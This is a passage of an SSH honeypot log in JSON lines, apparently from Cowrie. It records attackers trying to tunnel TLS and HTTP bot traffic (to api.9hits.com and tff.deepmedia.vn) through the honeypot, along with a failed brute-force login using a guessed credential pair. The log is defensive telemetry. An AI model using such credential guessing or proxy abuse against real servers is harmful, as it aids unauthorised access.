{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xda^S\\xf4c8N\\n\\xeaD@[R`RG\\xcfR\\xe4\\xf8\\x86\\x88]\\xca\\xce\\xbc\\xb6\\x1c\\x8e\\xe9i\\xbe \\x1e\\xbf\\xe8&\\x89w\\x1d \\x90\\xf1V\\xe7\\xc9\\x02\\x8c\\xe1\\xeb\\xc6\\xb9\\x86?e\\x97?\\xeb\\x95a2\\xf2'6\\x12\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeb\\xfe\\x94\\xedp\\x0b\\xf0\\xcb\\xba\\x8fO\\xc7XW\\x11}0\\n\\x18L\\xdf\\x9e\\x17w\\x1f\\xd9\\xe4\\x94\\xdb\\x90\\xab\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xda^S\\xf4c8N\\n\\xeaD@[R`RG\\xcfR\\xe4\\xf8\\x86\\x88]\\xca\\xce\\xbc\\xb6\\x1c\\x8e\\xe9i\\xbe \\x1e\\xbf\\xe8&\\x89w\\x1d \\x90\\xf1V\\xe7\\xc9\\x02\\x8c\\xe1\\xeb\\xc6\\xb9\\x86?e\\x97?\\xeb\\x95a2\\xf2'6\\x12\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeb\\xfe\\x94\\xedp\\x0b\\xf0\\xcb\\xba\\x8fO\\xc7XW\\x11}0\\n\\x18L\\xdf\\x9e\\x17w\\x1f\\xd9\\xe4\\x94\\xdb\\x90\\xab\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:01.123946Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:01.214070Z","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:01.269356Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\xd4\\x9e\\x90\\xd8G\\x08-a\\xfe\\xaf[\\xf9dwD\\xaf\\x13\\xd7\\xf6\\x02d\\xcc\\xd9\\xfcn\\xa2p\\x02\\x93;\\x87 @\\xf8\\xec\\x7f\\'C\\x1d\\xf0j\\xeeM\\x7f\\xf97f\\xa4d^}@|\\xe9>\\xfb\\xc5q}[\\xdb\\xab&V\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xb4\\xf1\\xcb-Or\\x1d\\x06k\\xce\\x87\\xd5ox\\xdf \\xf8\\xcb\\x8fCY\\x1c2hg\\x0e\\xb9\\x0bM6i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\xd4\\x9e\\x90\\xd8G\\x08-a\\xfe\\xaf[\\xf9dwD\\xaf\\x13\\xd7\\xf6\\x02d\\xcc\\xd9\\xfcn\\xa2p\\x02\\x93;\\x87 @\\xf8\\xec\\x7f\\'C\\x1d\\xf0j\\xeeM\\x7f\\xf97f\\xa4d^}@|\\xe9>\\xfb\\xc5q}[\\xdb\\xab&V\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xb4\\xf1\\xcb-Or\\x1d\\x06k\\xce\\x87\\xd5ox\\xdf \\xf8\\xcb\\x8fCY\\x1c2hg\\x0e\\xb9\\x0bM6i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:01.273575Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracle123456","message":"login attempt [ubuntu/oracle123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:04.315685Z","src_ip":"91.92.40.36","session":"385a224af245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:04.590254Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:05.405209Z","src_ip":"91.92.40.36","session":"385a224af245","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.027621Z","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.032233Z","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.035265Z","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.081415Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T733) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Y0p1UXokflIveEc3cj9xPg%3D%3DtumIEDuHGInq4icDEjkCYbIL9aVsn5I10E7gV86MFHFjHi3y0tJwBEIkw8YFBB6qpHKWja2Ca5QGA%2B3ktCXgEm13vjIU0aiCci9oV9trof4soGI7cFcWAxx%2BYu%2FOW9TRvrAhhAFjzo5YN9uT%2BW1ORebYmPnIzqX4gvu11zR1iGVSAjtYKNW6EFQKHbzGXx0ZeHcTILSN4BTogICKP5%2FrWLxMjMbU1em68fGaKvdDNYhdjdbwX8VpfR%2FeL6d6gSyTQaWtIleZcCQjh7cHG%2FyBsevfFYCOtdUvqM44BdFwbhOxewQmFx2kOzTFKDYeiz08yreSH%2F96k8RKrWHCKuerIsd5IVe%2FVE1xc6udm0nsy1xofjhCT%2FYwb94G3GNhI6ImDI7iOXe%2BPKNsCYlHuMZEoSht%2B51WvUu9%2BxxasfRnry59NDVy%2FGXzXqpYHEh6JKRb2e6fOOFef8Wk2UXhd4yDvKdsVMYbG6EpP7q7MH6ZzxnsTkNOh8LzaRwk4yUZTi%2FreGZAMdu3CXFDX7CZ14GE2fcQ1ZV3DjFDNWu1WuGpDyVbpVgBYEpbXDGUBLdRno%2BP8t4uYrlHeXK%2B%2BVflvE6Aba%2FSbaeN0AC7%2BjuviZENxVTOcPG4ei3eR0%2Fl1VY5XNKv21Mdj%2BjSjfvkwSNFEAsqhagqsb3GZEvBnSOVOibU2vrzRqpmEb4y0o5BHeg1ekjOGG9c8J8ct0WBs0yFww7IK9LrykrZA1tQTBJnno9afZ9yok4GQYngLiEw%2FqV%2F7FPYIyWAAI82jwCnrq6OsXvCVD3Yw6Jd%2BOBQCzzJsdSGvDgiGnxxBBr%2BzfEHTEekshsqM8rTUUuFjjILfAsBbM3Dqd9MPlDQ7gFPmZbCdFY7gF90r8u56rhjA13DVcQ4LAHlfHPPyPqHudUrQQRFlssxiGZ424e1vJpzyO1YEjorXc8kufLdnCRUE88bfX5uUlUCnro4BEXMHjXGoIrJujkvbEe0aY5zhgDnxCKPwetkIdOoqdZYGWKMDlPTpVDBEZjZf43%2FPaAnT18lTOmPdjhf6ptP7eUEbnQ%2BX9q0vwO66kQ%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T733) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Y0p1UXokflIveEc3cj9xPg%3D%3DtumIEDuHGInq4icDEjkCYbIL9aVsn5I10E7gV86MFHFjHi3y0tJwBEIkw8YFBB6qpHKWja2Ca5QGA%2B3ktCXgEm13vjIU0aiCci9oV9trof4soGI7cFcWAxx%2BYu%2FOW9TRvrAhhAFjzo5YN9uT%2BW1ORebYmPnIzqX4gvu11zR1iGVSAjtYKNW6EFQKHbzGXx0ZeHcTILSN4BTogICKP5%2FrWLxMjMbU1em68fGaKvdDNYhdjdbwX8VpfR%2FeL6d6gSyTQaWtIleZcCQjh7cHG%2FyBsevfFYCOtdUvqM44BdFwbhOxewQmFx2kOzTFKDYeiz08yreSH%2F96k8RKrWHCKuerIsd5IVe%2FVE1xc6udm0nsy1xofjhCT%2FYwb94G3GNhI6ImDI7iOXe%2BPKNsCYlHuMZEoSht%2B51WvUu9%2BxxasfRnry59NDVy%2FGXzXqpYHEh6JKRb2e6fOOFef8Wk2UXhd4yDvKdsVMYbG6EpP7q7MH6ZzxnsTkNOh8LzaRwk4yUZTi%2FreGZAMdu3CXFDX7CZ14GE2fcQ1ZV3DjFDNWu1WuGpDyVbpVgBYEpbXDGUBLdRno%2BP8t4uYrlHeXK%2B%2BVflvE6Aba%2FSbaeN0AC7%2BjuviZENxVTOcPG4ei3eR0%2Fl1VY5XNKv21Mdj%2BjSjfvkwSNFEAsqhagqsb3GZEvBnSOVOibU2vrzRqpmEb4y0o5BHeg1ekjOGG9c8J8ct0WBs0yFww7IK9LrykrZA1tQTBJnno9afZ9yok4GQYngLiEw%2FqV%2F7FPYIyWAAI82jwCnrq6OsXvCVD3Yw6Jd%2BOBQCzzJsdSGvDgiGnxxBBr%2BzfEHTEekshsqM8rTUUuFjjILfAsBbM3Dqd9MPlDQ7gFPmZbCdFY7gF90r8u56rhjA13DVcQ4LAHlfHPPyPqHudUrQQRFlssxiGZ424e1vJpzyO1YEjorXc8kufLdnCRUE88bfX5uUlUCnro4BEXMHjXGoIrJujkvbEe0aY5zhgDnxCKPwetkIdOoqdZYGWKMDlPTpVDBEZjZf43%2FPaAnT18lTOmPdjhf6ptP7eUEbnQ%2BX9q0vwO66kQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.084430Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.087674Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xd8\\xa1\\xc9\\xc7\\xabu\\x84\\x1d\\x00\\xa5\\xb7\\xb8\\x10\\x86\\xb3\\xf0\\xc7#\\xa4\\x8e\\xfc3\\xef\\xfd\\xdeA\\x01-\\xafV\\xcc v\\x92\\xa2\\x82\\xc2t\\x80\\x87\\x0cQ\\xbb\\x96\\xf1\\x17\\x06v\\x1b\\xfcb\\n\\xf7D\\xc6y\\x8a\\xe3\\xe7\\xbd\\xac\\xb3$\\x8b\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdf\\xf3\\xf9\\xac]g\\xeb\\x9aY\\x1e\\xd8m\\xaa\\xc4b\\xcd[\\xf7<\\x9a\\xbc\\x7f\\xb3\\xc2\\xac\\x1c\\xff\\xb3\\x03\\x84G]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data 